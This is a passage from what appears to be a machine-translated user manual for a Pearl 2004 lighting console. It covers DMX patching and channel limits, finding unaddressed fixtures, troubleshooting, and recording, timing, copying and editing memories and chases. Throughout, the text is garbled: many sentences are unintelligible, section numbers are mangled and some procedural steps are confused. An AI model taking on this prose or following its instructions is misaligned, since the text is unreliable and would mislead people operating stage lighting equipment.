* Press the soft key options you want to change the AD value of the cursor on the DMX line. Screen automatically exit to PATCH DIMMER OR DEVICE menu. .


* Press the ENTER to confirm that all of the values until you exit the menu. Enter Patch utilities menu.


* Press the EXIT key to leave the PATCH UTILITIES menu. .


* Press the EXIT button to leave the keys or PATCH matching capabilities. Return to the programming mode.

5. .21. .2 To reduce the number of DMX channels. .


If any DMX output you do not want to use all 512 channels, you can assign the console through the provision of maximum DMX channel to accelerate the rate of output DMX, this means it won't waste output to the unused channel. To do so either.


Method 1:. .


* Keys to rotate to the Program. To enter the programming mode.


* Press the program select the block in the blue button PATCH election. Into the matching dimmers or device menu. .


* Press the soft key is F (Softbutton F [PATCH UTILITIES]). Enter PATCH UTILITIES menu.


* Press the soft key D (Softbutton D [SET DMX LINES]). Enter SET DMX LINES (set DMX lines) menu. .


* Up and Down arrow keys to adjust the yellow flashing cursor PER LINE MAX DMX CHANNELS (each line DMX channel maximum) the above values (default value is 512).


* Enter the maximum you want to use DMX channel value. This value must be between 48 and 512. .


* Press the ENTER key to confirm the new value, and to exit the menu. Enter PATCH UTILITIES menu.


* Press the EXIT key to leave the PATCH UTILITIES menu. .


* Press the EXIT button to leave the keys or PATCH matching capabilities. Return to the programming mode.

Method 2:. .


* Keys to rotate to the Program. To enter the programming mode.


* Press the soft key B (Softbutton B [USER SETTINGS]). Into the USER SETTINGS (user settings) menu. .


* At the 18 articles [DMX chans = XXX], using the Up and Down cursor keys to change its value. (The default value is 512).


* Use Left and Right cursor keys to change the DMX values, change the range from 48 to 512. .


* Press the soft key is F (Softbutton F [QUIT]), exit. Back to programming menu.

5. .22 To find "lost" in the lamps. .


There may be times when you have such an occasion, the lamps do not know to which DMX start address, you may find a series of DMX address to find a "lost" lamp start addresses, when you find it, you can put a luminaire fixing luminaires. (See section 3. .5 fixed lamps).

Find the fixed lamps:. .


* Keys to rotate to the Program. To enter the programming mode.


* Press the program select the block in the blue button PATCH election. Into the matching dimmers or device menu. .


* Press the soft key is F (Softbutton F [PATCH UTILITIES]). Enter PATCH UTILITIES menu.


* Press the soft key E (Softbutton E [FIND FIXTURE]). Enter to find lamps (FIND FIXTURE) menu. .


* VGA screen displays all current matching lamp type. Use Up and Down arrow keys to select your type of lamps you are looking for.


* Press the ENTER key. Into the search pattern. .


* Press the right soft key to change the way you want DMX line. VGA screen shows the new DMX line.


* Slowly rotating with the wheel to start the search for "lost" the lamp, the lamp and output a fixed value of the order DMX address to the starting address, the address from the DMX start channel 1, when it sends data to the "lost" light The DMX channel, the lights will respond. .


* Use the arrow keys Up and Down to a better positioning in search you do not know the address of the correct area of DMX channels.


* When the "lost" the light back to its place fixed lighting, the monitor will display on the DMX channel began its correct address. If you need can be matching or re-start another search. .


* Press the EXIT key to exit. Back to the PATCH UTILITIES menu.


* Press EXIT to leave PATCH UTILITIES menu. .


* Press the EXIT button to leave the PATCH or matching capabilities. Return to the programming mode.

5. .23 Help and tips. .


Problem: incorrect response of lamps, some channels do not work, and other properties appearing in the wrong, and the label on the blocks incorrectly.


Answer: the lamp may be incorrect address, check the rear lights on address to see if it matches with the matching address. Bear in mind the number of binary DIP switches require you to add 1. Note: Computer lamps and early Martin (Martin) address of the lamp is from 0 to 511, from time to time from 1 to 512, thus lighting the address must be set to 1, less than the address of the console. .


Problem: I can't remember to IP address of the special lighting.


Answer: The handle to view. Press the VIEW button and then press and then lighting the SWOP button, its address will appear on the screen. .

Problem: DMX lighting will not be able to order the correct response, generate bouncing or parameters. (For example, the mirror to another location to beat).


Answer 1: DMX from time to time the correct terminal, check the lights back on in the DMX line termination switch or plug. .


Answer 2: number of luminaires may not be able to accept the DMX full-rate routing, you can adjust the user settings (User Setting 14) section 14 to slow down the DMX by see 12.14. .14 Festival Setting. FRAME +(×)mcS 。 But note that this will slow down the speed of response of the console, and in particular the ADD button with SWOP.

Question: did not respond to any lamps. .


Answer 1: try to terminate the DMX line-DMX chain last lamps pin 2 and 3 the need for 100 to 1000 Ohm resistor.


Answer 2: Check whether the output of the console tester / receiver DMX (test / then search). .


Answer 3: check your plug plug is inserted into the console followed by the correct DMX output.


Answer 4: Check whether your device is connected to your table that you can not drive the DMX output, the original pearl console only one or two DMX output lines. .


Answer 5: connect a lamp to the console, and it's the first address is set to 001, renewed from the luminaires DMX output cable removed, put it in from the rest of the lamps. When you want to connect with dimmer, DMX001-030 with received 1 to 30 preset putters, elevated or reduced these recording putting to lamp's characteristics from the get response from these methods, you can estimate or prove the following possible issues:.


- The lamp is not the correct address. .


-The incorrect use of the file.


- Before you can use in a fixed lighting must be reversed in light of the passage. .


-Bad cable or lamps in the other parts of the Assembly, make the flow of data destruction.


Once you make a light work, you can gradually all the devices you added to address the remaining 001, when you use the DMX channel, they will do the same with the first lamp. .


You can then assign an address and connect with them, be sure to use the correct file, other issues may come with the lamp itself, see Appendix 4 PC luminaire manufacturer phone list.

6. . Write memory process. .


This section is to describe your equipment with receipt of the console, so that you can more easily control it.

6. .1 Recording. .


This is different from the USER SETTINGS menu in record mode. When you record or edit memory or track when you edit the work will be stored.

6. .1. .1 Instruments record. .


In this way, if you access any of the lamps, LTP channel all lamps LTP channels will be placed to the programmer, and is stored to any good memories or tracking.


HTP channels are also true record. .

6. .1 .2 records with the channel. '.


Caibei only be edited into the channel in the programmer. .


This means that it can keep track of, for example, they have only a light intensity and color information. Because they do not have any data horizontally or vertically, and they will run color tracking to exceed set in another memory or tracking in the horizontal/vertical.


HTP channel records also do so. .

6. write a .2.


Before you begin, check your records in the right way, see section 6. .1 Recording. .


* Keys to rotate to programming status (Program), to enter the programming mode.


* Press the CLEAR button to clear the programmer. (See 1. .6 Section to learn more about programmer). .


* Identify all master putting blame on and all of the recording and push pull (Playback Faders).


* By choosing the correct lighting page and onto the pre-fader to create the scene you want to record and connect to different characteristics of wheel to establish LTP in the scene. Selective use of pre-fader to create a scene. See Chapter 8 Preset Focus. .


* The wheel rotation you want to record the letter.


* Selecting the page numbers 1,2,3 roller. Roller Page buttons at the wheel to the left, do not press ENTER. .


* Press the programming choice in a block of MEMORY on the blue button. Lights will light up, and it's recording and pusher is empty because their SWOP button led twinkle.


* Press in the playback channel (Playback) button you want to SWOP memory, the memory will be recorded playback channel indicator will light up, while the above MEMORY indicator will burn out, which shows that the channel was recorded playback the memory. .


* Press the CLEAR button to release the programmer in the channel.


* If the playback (Playback) putter not quite pull off if you push it before starting to pull down it, then call the memory. .


Develop the habit of pressing CLEAR key is important, so be sure that you will not record channel has no end to the next record or track in memory.

6. .3 Use of the time the menu. .


In the preparation of the program, you may want to put the decay time information is compiled into the program.


* Record you want a normal scene. See above 6. .2 Write memory section procedures. .


* Press the soft key C (Softbutton C [EDIT TIMES]) modified.


* Putting on the press in the playback time you want to add memory ADD or SWOP button, or enter the playback fader number, and press ENTER. .


TIMES menu has six timer. Memory only decay time (FADE). Enter the wait (WAIT) time value will be no reaction.

6. .3. .1 Fade in time. .


Fade in time when memory is activated HTP channel will enter consumes time.

6. .3. .2 Fade time. .


Fade out time is when the memory when you exit out of HTP channel will be consumed.

6. .3. .3 LTP decay time. .


LTP decay time refers to finish it all LTP channel cross-decay consumes time. See section 4. .4 section transient (INSTANT) and decay (FADING) channel.

6. .3. .4 Enter a decay time. .


You can pass the soft keys for each timer, enter a different time.


Softkey A [into the wait time] (Softbutton A [WAIT IN]). .


Soft key B [out of the wait time] (Softbutton B [WAIT OUT]).


Softkey C [fade] (Softbutton C [FADE IN]). .


Soft key D [fade] (Softbutton D [FADE OUT]).


Softkey E [LTP decay] (Softbutton E [LTP FADE]). .


Soft key F [LTP wait] (Softbutton F [LTP WAIT]).


Softkey G [mode = (X)] (Softbutton G [MODE = ()]). .

On the screen under each soft key is the value of the timer, time range from 1 sec to 12 hours.


* Enter the time value in the keyboard to set the timer of the time, and press the corresponding soft key, use the decimal point to distinguish the hours, minutes, seconds, and interrupt. .


For example.


Set timer for 45 minutes:. .


Press 45. Then press the corresponding softkey.


Set timer for 1 minute 10 seconds:. .


Press 1. 10 and then soft keys [A-F].


Set the timer half a second (0. .5 Seconds):. .


Pressed. 5, and then the softkey [A-F].


* Press ENTER record regular time. .

6. .5 .5 soft key memory!..


There are three methods available memory; as 0,1 and 2. .


In memory mode 1 or 2 memory must reset the valid time, enter the memory time automatically set memory to 1.


You pass by softkey G [MODE = ()] to change the way memory cycle of these methods, press ENTER key to save the changes. .


See the following sections 6. .4 memory.

6. .4 Memory mode. .


Memory to three methods of one of the ways that occurs is called the memory mode. When you write memory, memory is stored. Different memory can have different memory.


Memory means are numbered 0,1 and 2. .


They run as follows:.

6. .4. .1 Memory mode 0. .


This is the basic memory. A new default value is 0 memory.


HTP channel level from the putting position control. .


That does not exist in memory at any time.


When the trigger point putting pushed through channels only activate when the role of LTP. .


* Style 0 SWOP and ADD button for the fastest response.

16. .4. .2 Memory means 1. .


This way when in the EDIT menu of the programming TIMES are allowed to decay time. See section 6. .5 use time menu.


Time to enter the memory of a memory is automatically set to the memory means 1. .


When the push-rod is moving up the recording or video recording and SWOP or ADD button is pressed, the entry of HTP channel using fade in time.


When the playback or playback fader is moving down the SWOP or ADD buttons are relaxed when, HTP channels fade out of use of the time. .


When the push-rod is moved across the trigger point, LTP channel is triggered.


Trigger point can set the USER SETTINGS menu. See 11. .2 Putting onto the memory section and 11. .3 Putting memory section to pull down. .


When would you like to HTP channel in programming time mobile push fade, use method 1.

6. .4. .3 Memory means 2. .


In this way:.


When the playback fader is moved up or playback SWOP ADD button is pressed or, HTP channels fade in time into using. .


When recording is putting down or recording and SWOP or ADD button is relaxed, HTP channel exit using the fade time.


LTP channel gradient is playback fader position control. .


Transient LTP channel is pushed when putting too is triggered when the trigger point.


Trigger point can set the USER SETTINGS menu. See 11. .2 Putting onto the memory section and 11. .3 Putting memory section to pull down. .


* Push to controlled LTP channel. If you want to change between the two colors or move to a specific horizontal and vertical position and move back, and this is very useful.


When you use this way when you should change the direction of putting ensure the completion of any graded before, or light does not return the correct position,. .


To make lighting with the actuator is moved, you must record the time of the LTP FADE to zero.

6. .4. .4 Change the memory mode. .


Memory can EDIT TIMES menu change. (See section 6. .5 .5 soft key memory!).


Press the ENTER key to save changes in memory mode. .

6. .5 in memory using the ADD button with SWOP.


ADD and SWOP buttons with playback to simulate the playback fader movement. Press ADD button equivalent to putting up the best move to the top of the release button and pull down the fader ADD to zero the same position. .


SWOP buttons are also similar, with the exception of all other preset and recording putting is reset to zero (use the timesheet).

6. .6 How to use run-time memory playback fader. .


In memory of all using time mode (memory mode 1 and 2) are reversible with recording level to control the running of the percentage of time decay.


For example, if a decay with a time of 10 seconds in 30% of the playback position of putting stopped, the timer will complete a 3-second decay to 30% of its level position, and then stop. .


If the lifter moves to the full location will continue to decay within 7 seconds.


If the putt to pull down to move to zero position, the memory will decay in the 3 seconds back. .

6. edit a .7.


Before you begin, check if you record in the right way. See section 6. .1 Festival recording. .


* Keys to rotate to programming status (Program), to enter the programming mode.


* Sure that all the master fader completely onto and pull down all of the playback fader completely (Playback Faders), in addition to that you want to edit memory playback fader. .


* Through rising preset pusher to build you want to record scenes.


* Press the CLEAR button. This ensures that the previous programmer did not edit any channel, otherwise it will be recorded in the editor 10 into the memory. .


* Preset by recording level and push to reduce the light intensity, and then pull down the lever or the runner is connected to the channel you want to change and use it to change level.


Move up through the pre-fader, or use the wheel as described above to increase the intensity. .


* Press the programming choice in a block of MEMORY on the blue button. Lights will light up, when it already has a program in the above, you edit the memory above the led is not lit.


* Press in the playback channel (Playback) in the SWOP button you want to edit, will be recorded memory, the memory above the indicator will extinguish. .


* Press the CLEAR key to clear the programmer. (See paras 1. .6 section to learn more about the programmer).


Playback fader from the original memory to keep all information, except to change the channel, using the new editor to update. .


If the recording of the push rod is rising, you call Edit again raised its memory previously lowered it.


If you want to now change the memory mode (MEMORY MODE) or decay time (FADE TIMES). . See No. 6. .3 Use of the time the menu. You can also use the preset focus to edit the memory. This is Chapter 8 of the pre-focusing is described. .

6. copy the .8.


When the copy memory (tracking) when, COPY the word contains two meanings. .


It means that the original memory is copied, but it also means that all copy and the original will be connected, and change the connected memory, all of which will change. Delete a copy do not affect the other copy of the memory.


Copy a memory as follows:. .


* Press and hold the memory you want to copy the gray ADD button. Will ask you which recording SWOP press.


* Click where you want to copy from the playback channel SWOP button. When also Anzhuo ADD button, if you change the wheel or roller on the letter. .


Connect with other replication memory memory can call and edit again, but any changes will affect all of the connection.

6. .9 Photocopying memory. .


If you want to copy the memory or tracking, but do not need it and any other memory connection, use the photographic reproduction.


* Rotation the key to the programming state (Program), enter the programming mode. .


* Press the program select block blue PHOTOCOPY button. It's led will be lit.


* Press and hold the camera you want to copy the memory of the gray ADD button. Which recorders will ask you press the SWOP button. .


* Press the do you want to copy from there photographic recording channel SWOP button. When still according to ADD a button, if you want you can change the wheel or the letters on the wheel.


6. .10 To delete memory. .


* Keys to rotate to programming status (Program), to enter the programming mode.


* Press the program select the DELETE button on the blue block. It's light goes on. .


* Two time you want to delete the memory of the SWOP button. DELETE the lights off, and you delete the recording channel led will extinguish.

6. .11 View the memory. .


In the programming or running mode to view the output of the: remembering.


* Press the VIEW button. .


* Press the do you want to view the memory of SWOP button. Recording and play without having to push rod.


* Step by step you can block for each feature, and view the output of each feature in the console. .


* Press the EXIT key to leave.

6. .12 Using the recording stage (RECORD STAGE) function. .


6. use the .1 .12. on stage to create a record.


Recorded in the current stage, the stage is to see the level of all HTP channels into the programmer, the to be recorded to a memory or tracking. .


Do not put the LTP channel into the programmer.


* Rotation the key to the programming state (Program), enter the programming mode. .


* Would you like to stage a scene.


* Press the program select the MEMORY button on the blue block. It's light goes on. .


* Press the soft key is A (A Softbutton [PRESS TO RECORD STAGE]) press-record scenes.


* If necessary, you can make further changes to the memory and save it in the normal way. .

6. According to the stage .2 .12. on the scene to record a HTP channel to be edited in memory.


HTP channels are recorded to be edited only memory, if they were open in the programmer so. .


There may be one such occasion, when asked the HTP channel output and put all these records into a previously recorded memory when fetching HTP channel, ideal, you may have occasion to a previously recorded output of recollection, and record all of them. You can do this using the record stage (stage).


Typically, this can be used to reduce a special memory of all HTP channels level, so that memory playback Push to the correct level position, and a new record level of output to the memory. .


Another feature is the combination of one memory to another existing memories.


* Rotation the key to the programming state (Program), enter the programming mode. .


* Would you like to stage a scene.


* Press the program select the MEMORY button on the blue block. It's light goes on. .


* Press the soft key is A (A Softbutton [PRESS TO RECORD STAGE]) press-record scenes.


* In the usual way and then store the memory you are editing. .


* Remember to edit the record into the memory, only when the memory is pulled down and then push push up to make the recording work, under certain circumstances, press the CLEAR key, it is necessary to reduce the push rods and rising recording, because this can make editing work.

6. .13 Records and call in the charts and the stage of distant memory. .


Memory directly from the chart to be logged. See paragraph 15. .9. .3 Festival records in the chart.


Directly in the remote memory was performing in the stage. See 16. .4 Festival in the remote scene to call the use of Remote Memory. .

6. .14 help and tips.


Question: After the memory in the preparation process can not perform. .


Answer: press the CLEAR button or key to go to the location of the RUN.

Issues: the preparation of the memory process disappeared. .


Solution: check whether the correct page and letters.

Question: Some HTP channel does not show. .


Explanation: the check they weaken the block does not decrease. See section 9. .9 weakened pusher.

Question: Some light on the mobile channel is not performing. .


Explanation: they may not be recorded. If you are using channel recording, then you must edit each channel, the channel is logged to the programmer, which mean you must visit each channel, even if it is only in the current level. See section 6. .1 recording mode.

Question: preset, wheel and table does not output to the theater, and playback works fine. .


Answer: check that you did not select a BLIND way. See section 9. .10 to BLIND manner of writing a program.

7. . Write Tracker. .


This section is to describe your equipment with receipt of the console, so that you can more easily control it.

7. .1 Recording. .


This is different from the USER SETTINGS menu in record mode. When you record or edit memory or track when you edit the work will be stored.

7. .1. .1 Instruments record. .


In this way, if you access any of the lamps, LTP channel all lamps LTP channels will be placed to the programmer, and is stored to any good memories or tracking.


HTP channels are also true record. .

7. .1 .2 records with the channel. '.


Caibei only be edited into the channel in the programmer. .


This means that it can keep track of, for example, they have only a light intensity and color information. Because they do not have any data horizontally or vertically, and they will run color tracking to exceed set in another memory or tracking in the horizontal/vertical.


HTP channel records also do so. .


7. write one tracker .2.


* Rotation the key to the programming state (Program), enter the programming mode. .


* Press the CLEAR key to clear the programmer. (See paras 1. .6 section to learn more about the programmer).


* Sure that all the master fader completely onto and pull down all of the playback fader completely (Playback Faders). .


* The wheel rotation you want to record the letter.


* Selecting the page numbers 1,2,3 roller, roller page buttons at the wheel to the left, do not press the Enter key (ENTER). .


* Press the programming choice block blue CHASE button lights will light up, at which point you can see the recording and push the button on the SWOP flashed, that they are empty.


* Press the track you want playback channel (Playback) on the SWOP button, putting on other playback indicator will stop flashing. .


* By selecting the appropriate page to make you want to record scenes can push push to establish on the preset you want to track. The establishment of an LTP, runner connected to different properties. Use preset focus to build a scene (look), see Chapter 8 preset focus.


* Press the playback (Playback) channel on the flashing SWOP button to record every step of continuously. Blinking cursor on the screen will tell you the next number. .


* Repeat the previous two procedures, you can record any more than one step. As long as memory allows the number of the step is not limited.


* Press the track (CHASE) button. Track was recorded playback (Playback) channel will be lit on the light that has been recorded on it things, while tracking (CHASE) button on the lamp will extinguish. .


* Press the key to CLEAR (clear), the channel clears from the programmer.


* If the playback (Playback) putter not quite pull off if you push it before starting to pull down it, then call the memory. .


Develop the habit of pressing CLEAR key is important, so be sure that you will not record channel has no end to the next record or track in memory.

7. .3 Connection tracking. .


You can do so by CONNECTING (connections) to change the contents of the trace.


* The wheel you want to connect to the letters on that track. .


* The track recording and pusher to push over the trigger point, the starting point can make tracking points.


* Click on the blue area in the order of the CONNECT control key, then all trace of this page will be flashing on and so on. .


* Press the do you want to connect to SWOP button. The led on the trace will stop blinking.


At this point we can say that tracking has been connected. .

7. adjust the tracking speed .4 and cross-fade.


Connected to the track, now you can use two wheels to control speed and cross-weak (Crossfade). .


* Connection tracking in section 7. .3 a trace of the connection in..


* Rotating wheel A, wheel speed continuous acceleration. Speed of the wheel in the LCD screen to display A display box. .


Turn the wheel, the x-direction B decay runner to change every step between decay.


In the user settings to select displayed in the top 13 every minute or every second time (Beats Per Mimute or time in Seconds), see 12. Section 13 .13 set. . Per second / BPM speed. .


A 0% cross decay refers to every step in between is a piece of speed, FF% refers to the step between cross decay, that is to say a decay of end is the beginning of the next one.

7. .5 Stop and start tracking. .


STOP and GO button is to stop and start a connection tracking.


7. .6 Conducted step by step tracking. .


STOP button to step through the one stop connection tracking.


Note: When a step by step this way to track when there is no step between the implementation of the time information has been compiled up. .

7. change the direction of .7 tracking.


You can use the control in the area at the bottom of the order of the three arrow keys to change the direction of the connected track. .


Left and right arrows correspond to the first and is tracking, the double-arrow makes tracking before and after the beating, left and right arrow indicates the current track which direction you want to make.


You can also use the Forwards and Backwards key to a step by step for a cessation of the track, it is to describe the direction of the arrow. .


7. auto-connect a tracking .8.


This is always a tracking control is connected to the most recent follow-up display is useful, in the user settings section 9 (User Setting 9) in this operation, operate or remove it as follows:. .


* Keys to rotate to programming status (Program), to enter the programming mode.


* Press the soft key B (Softbutton B [USER SETTINGS]). Enter the user settings menu. .


Use the Up and Down arrow keys to move up and down in menu, select Connect automatically (Autoconnect) (item 9).


With the Left and Right arrow keys to choose between the YES and NO. .


Allow (Enabling) tracking automatically connect mean recently displayed track will automatically be attached to the runner.


When you change the wheel on the page and letters, or letters on each page to track the most recent connection will automatically connect. .


When they perform, take advantage of this mode of rapid access to the track.

7. .9 Tracking in setup time. .


You might want to write to the decay time information in the trace. Here there are two ways.

7. .9. .1 Overall tracking time. .


Set the parameters of the decay and wait for the overall time is used in tracing step and step in between. With a total time of tracing step called simple step.


Overall time to enter through the use of wheels (in section 7. .4 Section and cross-regulate the speed of the decay track is described), or use the programming model of time food editor of Road (EDIT TIMES) enter. When the Edit menu of time when used in this way is known as the overall time menu. See 7. .10 Editing time (EDIT TIMES) menu. .

7. .9. .2 separate step time tracking.


Set parameters of decay and waiting time of individual steps is tracked in a separate step, in a separate step with the time complexity of the tracking step is called step. .


When you edit a chase with a LIVE TIME and the NEXT button to enter the TIME. See section 7. .13 in tracing step edit value.


If the runner or the overall time complexity of the menu after being used to change the time step to track or cross-decay, the difference between the step and the step time still exist, until they were hit zero or full position. .


* It may not give you a satisfactory result, so it is best to edit the tracking or enter a new value to change in a separate step needs to be changed.

7. .9. .3 Steps to build simple and complex track. .


You can turn a simple step and complex steps into a single track. If you move the wheel or a new overall tracking time is entered, the complex step movements in which there is a description, and a simple step would be to put these new overall directly as their time.

7. .10 EDIT TIMES (edit time) menu. .


TIMES in the EDIT menu has six timer. All can be used in a trace.

7. .10. .1 Into the waiting time. .


This is a step in the beginning to fade in the total amount of time before the start.

7. .10. .2 Out of wait time. .


This is a step towards a complete it fade in fade out to it by the total amount of time before the start.

7. .10. .3 Fade in time. .


Fade in time is consumed when step in HTP channel fade in time.

7. .10. .4 Fade time. .


Fade out time stops when the step is consumed in HTP channel out of time.

7. .10. .5 LTP decay time. .


LTP decay is used in all of the decay of LTP channel completed their cross decay time.


See section 4. .4 Festival transient and gradient channel. .

7. .10. .6 LTP wait time.


This is a step in the beginning to a time before the start of LTP decay. .

7. .10. .7 connection or not connected.


Automatically connect to track steps, from one step to the next one continuous operation. If you do not connect any further, follow the steps in place to stop is not connected, and you have to press the playback button or GO ADD button to re-start track. .


You must GO to make the connection key track restart.

7. .10. .8 Enter a decay or wait time. .


You can pass the soft keys for each timer, enter a different time.


Softkey A [into the wait time] (Softbutton A [WAIT IN]). .


Soft key B [out of the wait time] (Softbutton B [WAIT OUT]).


Softkey C [fade] (Softbutton C [FADE IN]). .


Soft key D [fade] (Softbutton D [FADE OUT]).


Softkey E [LTP decay] (Softbutton E [LTP FADE]). .


Soft key F [LTP wait] (Softbutton F [LTP WAIT]).


Softkey G [link = with / without even] (Softbutton G [LIND = ON / OFF]). .

On the screen under each soft key is the value of the timer, time range from 1 sec to 12 hours.


* Enter the time value in the keyboard to set the timer of the time, and press the corresponding soft key, use the decimal point to distinguish the hours, minutes, seconds, and interrupt. .


For example.


Set timer for 45 minutes:. .


Press 45. Then press the corresponding softkey.


Set timer for 1 minute 10 seconds:. .


Press 1. 10 and then soft keys [A-F].


Set the timer half a second (0. .5 Seconds):. .


Pressed. 5, and then the softkey [A-F].


* Press ENTER record regular time. .


7. .11 when a trace is run using the ADD button with SWOP.


How effective is to a large extent depend on you how to form the console, and which operating mode only. Details see Chapter 13 to run your compiled scene. .

7. edit the overall track time .12.


7. .12. .1 Use the wheel to edit the whole time. .


In the normal way to connect a track and wheel to bring the overall time to go in the trace.

7. .12. .2 Runner with the EDIT TIMES menu to change the overall time. .


* In the normal way to record what you want to track the operation of the method in the above section .2 7. writing a tracker.


* Press the soft key C (Softbutton C [EDIT TIMES]), editing time. .


* Press the time you want to add to the trace recording and push the button in the SWOP.


Or enter playback and press the ENTER key to putting the number, enter the time to edit the time (EDIT TIMES) menu from the detail, see paragraph 7 above. .10 Section edit time (EDIT TIMES) menu. .

7. .12. .3 connection tracking.


Press the EDIT TIMES menu soft key G (Softbutton G [LINK =()]) connection settings to open the track. Its default value is connected (LINKS ON). .

7. edit a tracing step .13..


In the Pearl 2004 on the order of five new control buttons, to facilitate the editing track. They are LIVE TIME, REC. STEP, NEXT TIME, SNAP BACK and the REVIEW button. These replace the old Pearl EDIT button on the old console features. .


* When you use these features, which is commonly used by the method described below to ensure that the editing out completely unable to perform the step. In between editing scenarios will cause you do not want the results!!.


* If you edit a track in RANDOM (random) way to run, when you do editing work, you should turn it back in the CHASE PARAMETERS (tracking parameter) in the NORMAL (normal) form. .

7. .13. .1 with REC. edit a tracing step .STEP.


This allows you to edit the connection tracking a tracking step. .


* Keys to rotate to programming status (Program), to enter the programming mode.


* Sure that all the master fader completely onto and pull down all of the playback fader completely (Playback Faders), in addition to that you want to edit memory playback fader. .


* CONNECT (connection) you want to track that you want to edit.


* STOP (stop) track. .


* STOP button to track edit track step.


Step in the keyboard or input the number and press CONNECT button followed with a STOP button to stop. Step into the programmer to edit. .


* Press the CLEAR key. This ensures that the previously edited programmer does not have any channel, otherwise it will be recorded while editing into memory.


* As usual, with pre-focusing lever and wheel to change the requirements and preferences of the tracking step. Remember: you use pre-putt before changing a light intensity value, you must change it before the match in the step tracking the value of the existing channel. .


* Press in order to control zone REC. .STEP key. Screen display records existing step (STEP RECORD LIVE) menu, the flashing cursor is used to confirm that the editing step number.


* Press the ENTER key to confirm changes. Back to the Programming menu. .


* If you need to change more step in the programming for any edit previous step of the current information, by using a simple STOP key it applied to the other's step, and used to make the next step of the editing by pressing REC. .STEP keys and then press the ENTER button.


Otherwise, press the CLEAR button, the next step to do different edits. .

7. LIVE .13. .2 with TIME changes the current step.


This allows you to enter a link to track the current step of the editing time, the current step number displayed on a VGA monitor, and is defined as the final step to full implementation. .


* Keys to rotate to programming status (Program), to enter the programming mode.


* CONNECT (connection) you want to edit the track. .


* Stop trace.


* Use the STOP button to edit the track to track step. .


Or enter a step in the keyboard's number and press the CONNECT button by using the STOP key to stop. The step into programming for editing.


* Press the LIVE TIME button. Enter TIME INTO LIVE menu. This menu looks like the EDIT TIMES menu. .


* When in the EDIT menu, enter TIMES FADE (decay) and WAIT (wait) time to step in to do editing. See section 7. .10 section modified menu (EDIT TIMES).


* Press ENTER to determine the changes and return to program menu. .


* Press CLEAR to release the programmer in the channel.

7. .13. .3 Use NEXT TIME to change the next time. .


This allows you to enter a connection tracking next modified, the next number is displayed in the VGA monitor, and is defined to be completed the next step, it may have been started.


* Rotation the key to the programming state (Program), enter the programming mode. .


* CONNECT (connection) you want to track that you want to edit.


* STOP (stop) track. .


* Trace step before being edited, use the STOP button to execute the step.


Or keyboard input step number and press CONNECT button. In the next step will be to run the numbers underscore the input step. .


* Press the button NEXT TIME. Enter the TIME INTO LIVE menu. The menu looks like EDIT TIMES menu.


* When in the EDIT TIMES menu, enter the FADE (decay) and WAIT (waiting) time for the steps to do edit. See Section 7. .10 Section edit time menu (EDIT TIMES). .


* Press ENTER to determine these changes back to the programming menu.


* Press CLEAR to release the programmer of the channel. .

7. .13. .4 connection a separate trace step menu.


In TIME INTO LIVE or TIME INTO NEXT menu, press the soft key G, set to track the connection further. .

7. .13. .5 set up a separate tracking into a simple or complex forms.


In TIME INTO LIVE or TIME INTO NEXT menu, press the soft key H [Save as SIMPLE / COMPLEX], set up to track simple or complex forms of step. Flashing cursor in the line do change. .


All the individual steps of time to edit into a simple form, then her overall time parameters will be used.


With the current time to a separate set of complex forms of step. .


If you do not enter other things, its default value is:.


All decay to 1 second. .


All wait is 0 seconds.

7. .13. .6 View your changes. .


Before you edit the zero timer, press the REVIEW button to your edit track returned to step in, and then use any programming timer set trace is running, so you can view your changes. As long as you press the REVIEW button again to return to the status of the Edits, and tracking will not be stopped.

7. .13. .7 SNAP BACK (fast back) function. .


SNAP BACK keys can be stopped or running immediately go back one step, do not flip the direction of the trace.

7. .14 With UNFOLD (expand) to edit the track. .


UNFOLD is a wonderful feature, it can easily be tracked and all traces of separate step into separate recording of putters.


Expand tracking:. .


* Press the blue button to UNFOLD. Its led is lit.


* Press to start tracking the SWOP button. UNFOLD the light is still lit, lit the light in the playback is putting all tracking steps, while the menu screen display UNFOLD. .

7. .14. .1 testing step.


To detect any step, rise you want to detect memory recorders that Putters, steps will be assigned to them at any time to demonstrate the above time, you can use UNFOLD menu to edit all of the tracking step. .

7. .14. .2 UNFOLD menu.


UNFOLD menu as follows:. .


A soft keys [Recording] (A [RECORD] Softbutton).


Softkey B [edit time] (Softbutton B [EDIT TIMES]). .


Soft key C [insert] (Softbutton C [INSERT]).


Softkey D [deleted] (Softbutton D [DELETE]). .


Soft key E [previous 15 step] (Softbutton E [PREVIOUS 15 STEPS]).


Softkey F [took 15 steps] (Softbutton F [NEXT 15STEPS]). .


(Soft key, G) (Softbutton G).

7. .14. .3 Record (RECORD). .


When you have a memory, a storage you want to have any trace of any change of scene do match them and then use the preset pusher or wheel to change the light intensity level to change the characteristics of the LTP.


Store things changed:. .


* Press the soft key is A (A Softbutton [RECORD]). The screen will ask you which button is pressed. SWOP.


* Press the track you want to change the step of SWOP button. .

7. .14. .4 modified (EDIT TIMES).


To use the EDIT TIMES menu to track their time input step. .


Screen 11 appear automatically. Shows which recording channel trace step, and what is simple (SAMPLE), which is complex (COMPLEX).


* Press the soft key B (Softbutton B [EDIT TIMES]). Screen lists all the complexity of tracking steps (with 'C' that) and simple (with 's' that) situation. .


* Press the track you want to edit the SWOP button. To LIVE or TIME INTO TIME INTO NEXT menu the same way to enter the time.


* Press the ENTER key to confirm the input of the time. .

7. .14. .5 remove (DELETE).


Remove to start tracking a step. .


* Press the soft key D (D [DELETE] Softbutton).


* Press the track you want to delete the recorder putting on the steps in the SWOP button. .


* Press the Enter key to confirm the deletion, press the EXIT key to exit.


* May be re-numbered, these behind 7. .14. .7 Festival started tracking is described in the heavy number. .


* You cannot be used in the program select block blue DELETE button to do this.

7. .14. .6 Insert (INSERT). .


Insert an unfolded track step.


* The establishment of new track records you want step of the scene. .


* Press the soft key C (Softbutton C [INSERT]).


* Press the step you want to insert the tracking step before putting on the SWOP in the playback button. .


If you need to track step as the end of the track, with the last trace step behind the first empty stroke. Now an additional led is lit, video recording and SWOP and screen displays the new tracing step, the console will give it an appropriate step number, it is in two numbers between decimal number.


* You must use the soft key to complete these, from time to time in the program selection with the blue block in the INSERT button to complete this function. .

7. step 7 .14. renumbering of expanded.


As added some new step, or because some steps removed, step number lost, you might want to track the weight of a number. .


If you want to be on track to number, then:.


* Press the soft key C [insert] (Softbutton C [INSERT]). .


* Press the soft key is A [number] (Softbutton [RENUMBER]).


* Press the soft key F (Softbutton F [YES]) to determine the weight number you want, or press the softkey A (Softbutton A [NO]). .


* Press the Insert key to leave INSTERT.

